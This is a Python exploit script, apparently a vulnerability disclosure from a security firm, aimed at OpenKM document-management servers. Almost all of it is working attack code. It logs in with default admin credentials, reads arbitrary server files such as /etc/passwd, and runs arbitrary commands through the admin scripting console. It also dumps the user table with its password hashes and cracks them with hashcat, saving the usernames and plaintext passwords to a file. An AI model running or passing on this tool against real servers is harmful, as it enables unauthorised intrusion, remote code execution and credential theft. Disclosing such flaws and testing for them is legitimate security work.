# Exploit Title: OpenKM Multiple Critical Zero-Day
# Date: 17 Jan 2026
# Exploit Author: Terra System Labs Pvt. Ltd.
# Vendor Homepage: https://www.openkm.com/
# Software Link: https://hub.docker.com/r/openkm/openkm-ce
# Version: OpenKM Community Edition 6.3.12 and OpenKM Pro Edition 7.1.47 and previous versions
# Tested on: Windows and Linux Docker
# CVE : N/A
import requests
import argparse
import os
import subprocess
from importlib import import_module
import re
import signal
import sys
import getpass
print("Research Conducted By: Terra System Labs Research Team")
print("Read Full Article: https://terrasystemlabs.com/post?slug=openkm-zero-day-vulnerabilities-terra-system-labs")
# Ensure all required libraries are installed and re-import missing ones
def check_and_install_libraries():
required_libraries = ["requests", "bs4", "prettytable", "termcolor"]
for lib in required_libraries:
try:
import_module(lib)
except ImportError:
print(f"Library {lib} not found. Installing...")
subprocess.check_call([
sys.executable, "-m", "pip", "install", lib, "--break-system-packages"
])
print(f"Library {lib} installed successfully.")
check_and_install_libraries()
from bs4 import BeautifulSoup
from prettytable import PrettyTable
try:
from termcolor import colored
use_colored_output = True
except ImportError:
use_colored_output = False
# Utility function for colored output
def print_colored(message, color):
if use_colored_output:
print(colored(message, color))
else:
print(message)
# Global session to persist cookies and authentication
session = requests.Session()
def signal_handler(sig, frame):
print_colored("\nDetected CTRL+C. Logging out...", "red")
if "base_url" in globals():
logout(base_url, proxies, verify_ssl)
sys.exit(0)
signal.signal(signal.SIGINT, signal_handler)
def check_version(base_url, proxies, verify_ssl):
print_colored("Checking OpenKM version...", "cyan")
version_url = f"{base_url}/frontend/Workspace"
headers = {
"User-Agent": "Mozilla/5.0",
"Accept": "*/*",
"Content-Type": "text/x-gwt-rpc; charset=utf-8",
"X-GWT-Permutation": "57C4A26D31617E3BF3460E4771D72FCC",
"X-GWT-Module-Base": f"{base_url}/frontend/",
"Origin": base_url,
"Referer": f"{base_url}/frontend/index.jsp",
}
payload = (
f"7|0|4|{base_url}/frontend/|42DC97C6A4E30E734F8CCD1FE2250214|"
"com.openkm.frontend.client.service.OKMWorkspaceService|getUserWorkspace|1|2|3|4|0|"
)
response = session.post(version_url, headers=headers, data=payload, proxies=proxies, verify=verify_ssl)
if response.status_code == 200 and response.text.startswith("//OK"):
try:
strings = re.findall(r'"([^"]+)"', response.text)
idx = strings.index("com.openkm.frontend.client.bean.GWTAppVersion/1901889346")
build = strings[idx + 1]
release_type = strings[idx + 2]
ver_major = strings[idx + 3]
ver_minor = strings[idx + 4]
ver_patch = strings[idx + 5]
print_colored(f"OpenKM Version: {ver_minor}.{ver_patch}.{ver_major} (build: {build}, type: {release_type})", "green")
except Exception as e:
print_colored(f"Failed to parse version: {e}", "red")
else:
print_colored("Failed to fetch version information.", "red")
# Function to handle login
def login(base_url, username, password):
login_url = f"{base_url}/login.jsp"
login_payload = {
"j_username": username,
"j_password": password,
"j_language": "en-GB",
"submit": ""
}
login_post_url = f"{base_url}/j_spring_security_check"
response = session.post(login_post_url, data=login_payload, proxies=proxies, verify=verify_ssl)
if "error" in response.url:
print_colored("Login failed. Check credentials.", "red")
return False
print_colored("Login successful using default credentials or provided oen, if any.", "green")
check_version(base_url, proxies, verify_ssl)
return True
# Function for Local File Inclusion (LFI)
def lfi(base_url, read_file, proxies, verify_ssl):
csrf_page_url = f"{base_url}/admin/Scripting"
csrf_response = session.get(csrf_page_url, proxies=proxies, verify=verify_ssl)
csrf_token = None
if csrf_response.status_code == 200:
soup = BeautifulSoup(csrf_response.text, "html.parser")
csrf_input = soup.find("input", {"name": "csrft"})
if csrf_input:
csrf_token = csrf_input["value"]
if not csrf_token:
print_colored("Failed to fetch CSRF token.", "red")
return
script_payload = {
"csrft": csrf_token,
"script": "",
"fsPath": read_file,
"action": "Load"
}
script_post_url = f"{base_url}/admin/Scripting"
response = session.post(script_post_url, data=script_payload, proxies=proxies, verify=verify_ssl)
if response.status_code == 200:
soup = BeautifulSoup(response.text, "html.parser")
textarea = soup.find("textarea", {"id": "script"})
if textarea:
print_colored("LFI Successful. Extracted Content:", "green")
print(textarea.text.strip())
else:
print_colored("Content not found.", "red")
else:
print_colored("LFI exploit failed.", "red")
# Function for Remote Code Execution (RCE)
def rce(base_url, command, proxies, verify_ssl):
csrf_page_url = f"{base_url}/admin/Scripting"
csrf_response = session.get(csrf_page_url, proxies=proxies, verify=verify_ssl)
csrf_token = None
if csrf_response.status_code == 200:
soup = BeautifulSoup(csrf_response.text, "html.parser")
csrf_input = soup.find("input", {"name": "csrft"})
if csrf_input:
csrf_token = csrf_input["value"]
if not csrf_token:
print_colored("Failed to fetch CSRF token.", "red")
return
exploit_payload = f"""
try {{
Process process = Runtime.getRuntime().exec("{command}");
BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
String output = reader.readLine();
print("Result: " + output);
}} catch (IOException e) {{
print("Error: " + e.getMessage());
}}
"""
script_payload = {
"csrft": csrf_token,
"script": exploit_payload,
"fsPath": "",
"action": "Evaluate"
}
script_post_url = f"{base_url}/admin/Scripting"
response = session.post(script_post_url, data=script_payload, proxies=proxies, verify=verify_ssl)
if response.status_code == 200:
match = re.search(r"Result:\s*(\w+)", response.text)
if match:
print_colored("RCE Successful. Result:", "green")
print(match.group(1))
else:
print_colored("RCE failed to return a result.", "red")
#Function for crack hash
def crack_password():
# Extract hashes from hashes.txt and save to md5_hashes.txt
def extract_hashes_to_file():
try:
with open("hashes.txt", "r") as file:
hashes_data = file.readlines()
# Extract only the hashes (after the colon)
hashes_only = [line.split(":")[1].strip() for line in hashes_data]
# Write the hashes to md5_hashes.txt
with open("md5_hashes.txt", "w") as file:
file.write("\n".join(hashes_only))
print("Hashes successfully extracted to md5_hashes.txt")
except FileNotFoundError:
print("Error: hashes.txt file not found. Please ensure the file exists in the current directory.")
# Combine usernames with cracked passwords
def combine_passwords():
try:
# Load usernames and hashes from hashes.txt
with open("hashes.txt", "r") as file:
hashes_data = file.readlines()
# Load cracked hashes and passwords from cracked_hashes.txt
with open("cracked_hashes.txt", "r") as file:
cracked_data = file.readlines()
# Parse data into dictionaries
hashes_dict = {line.split(":")[0]: line.split(":")[1].strip() for line in hashes_data}
cracked_dict = {line.split(":")[0]: line.split(":")[1].strip() for line in cracked_data}
# Match and combine data into final_cracked.txt
final_cracked = ["Username:Passwords\n"] # Add header
for username, hash_value in hashes_dict.items():
if hash_value in cracked_dict:
password = cracked_dict[hash_value]
final_cracked.append(f"{username}:{password}\n")
# Save the results to final_cracked.txt
final_cracked_path = os.path.abspath("final_cracked.txt")
with open(final_cracked_path, "w") as file:
file.writelines(final_cracked)
print_colored("Final cracked usernames and passwords saved to final_cracked.txt", "green")
# Confirm with the user before displaying passwords
show_passwords = input("Do you want to display the cracked passwords (default N) Y/N: ").strip().lower()
if show_passwords == 'y':
print("{:<20} {:<20}".format("Username", "Password"))
print("-" * 40)
for line in final_cracked[1:]: # Skip header
username, password = line.strip().split(":")
print("{:<20} {:<20}".format(username, password))
exit(0)
else:
print("Passwords are hidden as per your choice. Read the Saved file to display the passwords in plaintext")
except FileNotFoundError:
print("Error: Ensure both hashes.txt and cracked_hashes.txt are present in the current directory.")
# Main script
if __name__ == "__main__":
# Step 1: Extract hashes to md5_hashes.txt
extract_hashes_to_file()
# Step 2: Prompt user for the wordlist path and use default if not provided
wordlist_path = input("Enter the path to your wordlist (Press Enter to use default: /usr/share/wordlists/rockyou.txt): ").strip()
if not wordlist_path:
wordlist_path = "/usr/share/wordlists/rockyou.txt"
import os
# Run hashcat commands
print("Running hashcat...")
os.system(f"hashcat -m 0 -a 0 md5_hashes.txt {wordlist_path} --quiet")
os.system(f"hashcat -m 0 -a 0 md5_hashes.txt {wordlist_path} --show > cracked_hashes.txt")
# Step 3: Combine usernames with cracked passwords
combine_passwords()
# Function for SQL Injection (SQLi)
def sqli(base_url, proxies, verify_ssl):
print_colored("Running Unrestricted SQL Query...", "magenta")
query_url = f"{base_url}/admin/DatabaseQuery"
multipart_form_data = (
"-----------------------------88617175833200583821560840739\r\n"
"Content-Disposition: form-data; name=\"qs\"\r\n\r\n"
"SELECT * FROM OKM_USER;\r\n"
"-----------------------------88617175833200583821560840739\r\n"
"Content-Disposition: form-data; name=\"tables\"\r\n\r\n"
"OKM_USER\r\n"
"-----------------------------88617175833200583821560840739\r\n"
"Content-Disposition: form-data; name=\"vtables\"\r\n\r\n\r\n"
"-----------------------------88617175833200583821560840739\r\n"
"Content-Disposition: form-data; name=\"type\"\r\n\r\n"
"jdbc\r\n"
"-----------------------------88617175833200583821560840739--"
)
headers = {
"Content-Type": "multipart/form-data; boundary=---------------------------88617175833200583821560840739",
}
response = session.post(query_url, data=multipart_form_data, headers=headers, proxies=proxies, verify=verify_ssl)
if response.status_code == 200:
soup = BeautifulSoup(response.text, 'html.parser')
table = soup.find('table', class_='results-old')
if table:
print_colored("SQL Injection Successful. Results:", "green")
rows = table.find_all('tr')
table_data = PrettyTable()
headers = [header.text.strip() for header in rows[0].find_all('th')]
table_data.field_names = headers
with open("hashes.txt", "w") as file:
for row in rows[1:]:
columns = row.find_all(['td', 'th'])
# Ensure all columns are filled, replacing missing values with 'N/A' and matching headers
row_data = [col.text.strip() if col.text.strip() else 'N/A' for col in columns[:len(headers)]]
if len(row_data) == len(headers):
table_data.add_row(row_data)
# Write USR_ID and USR_PASSWORD to the file
usr_id = row_data[headers.index("USR_ID")]
usr_password = row_data[headers.index("USR_PASSWORD")]
file.write(f"{usr_id}:{usr_password}\n")
print(table_data)
#current_directory = os.getcwd()
print_colored("hashes.txt created in the current directory", "green")
crack_hash = input("Do you want to crack user's password in plain text (default N) Y/N: ").strip()
if crack_hash in ['y', 'Y']:
crack_password()
else:
print("Skipping password cracking...")
exit()
else:
print_colored("No results found.", "red")
else:
print_colored("SQL Injection failed.", "red")
# Function for logout
def logout(base_url, proxies, verify_ssl):
print_colored("Logging out...", "green")
logout_url = f"{base_url}/frontend/Auth"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0",
"Accept": "*/*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate, br",
"Content-Type": "text/x-gwt-rpc; charset=utf-8",
"X-GWT-Permutation": "57C4A26D31617E3BF3460E4771D72FCC",
"X-GWT-Module-Base": f"{base_url}/frontend/",
"Origin": base_url
}
logout_payload = "7|0|4|http://"+base_url+"/OpenKM/frontend/|62DBFE1B3CAA52AD46EA20F866574A5F|com.openkm.frontend.client.service.OKMAuthService|logout|1|2|3|4|0|"
response = session.post(logout_url, headers=headers, data=logout_payload, proxies=proxies, verify=verify_ssl)
if response.status_code == 200 and "//OK" in response.text:
print_colored("Logged out successfully.", "green")
else:
print_colored("Logout failed.", "red")
# Main function
def main():
global base_url, proxies, verify_ssl
parser = argparse.ArgumentParser(description="Unified Vulnerability Testing Tool")
parser.add_argument("--url", required=True, help="Base URL of the target application")
parser.add_argument("--run", help="Run specific tests: (A=All, L=LFI, R=RCE, S=SQL)")
parser.add_argument("--proxy", help="Proxy URL in the format http://IP:PORT")
parser.add_argument("--login", help="Credentials in the format username:password")
args = parser.parse_args()
help1 = args.run
if help1 in ["-h", "--help"]:
print_colored("Run python3 openkm-scanner.py --url http://host:port")
base_url = args.url[:-1] if args.url.endswith('/') else args.url
if not base_url.endswith("/OpenKM"):
base_url += "/OpenKM"
proxies = {"http": args.proxy, "https": args.proxy} if args.proxy else None
verify_ssl = False
if args.login:
try:
username, password = args.login.split(":", 1)
except ValueError:
print_colored("Invalid format for --login. Use username:password", "red")
return
else:
username = "okmAdmin"
password = "admin"
if not login(base_url, username, password):
return
# if args.login:
# print("Username Received", login)
# try:
# username, password = args.login.split(":", 1)
# except ValueError:
# print_colored("Invalid format for --login. Use username:password", "red")
# return
# else:
# username = "okmAdmin"
# password = "admin"
# if not login(base_url, username, password):
# return
run_tests = args.run
if not run_tests:
run_tests = input("Enter tests to run (A=All, L=LFI, R=RCE, S=SQL): ").upper()
if run_tests in ['A', 'a']:
print_colored("Running LFI attack...", "magenta")
read_file = input("Enter file path for LFI (default: /etc/passwd): ") or "/etc/passwd"
lfi(base_url, read_file, proxies, verify_ssl)
print_colored("Running RCE attack...", "magenta")
command = input("Enter command for RCE (default: whoami): ") or "whoami"
rce(base_url, command, proxies, verify_ssl)
sqli(base_url, proxies, verify_ssl)
crack_password()
exit()
if run_tests in ['L', 'l']:
print_colored("Running LFI attack...", "magenta")
read_file = input("Enter file path for LFI (default: /etc/passwd): ") or "/etc/passwd"
lfi(base_url, read_file, proxies, verify_ssl)
if run_tests in ['R', 'r']:
print_colored("Running RCE attack...", "magenta")
command = input("Enter command for RCE (default: whoami): ") or "whoami"
rce(base_url, command, proxies, verify_ssl)
if run_tests in ['S', 's']:
sqli(base_url, proxies, verify_ssl)
if __name__ == "__main__":
main()